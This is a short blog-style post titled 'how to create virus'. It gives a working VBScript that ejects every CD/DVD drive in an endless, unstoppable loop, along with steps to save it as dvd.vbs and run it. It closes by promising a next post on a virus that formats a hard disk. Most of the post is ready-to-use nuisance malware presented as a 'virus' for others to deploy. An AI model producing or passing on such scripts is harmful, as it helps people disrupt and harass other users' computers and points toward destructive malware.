Let's learn how to create virus How to create virus,if you have searched this line in google or any other search engine then you know what the importance of this post.
Today i will show you how to create a virus that will work to open and close cd drive again and again.
How to create a virus:
At first go to Start- All Program – Accessories – Notepad now copy the bellow codes and paste it in notepad.
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Now from Notepad click file – Save as… and save with File Name: dvd.vbs and click Save button.
Done, now open the file that you saved or double click on that file you will see you cd drive opening and closing.
The next post about how to creat a virus that can format a hard disk. :)
0 Comments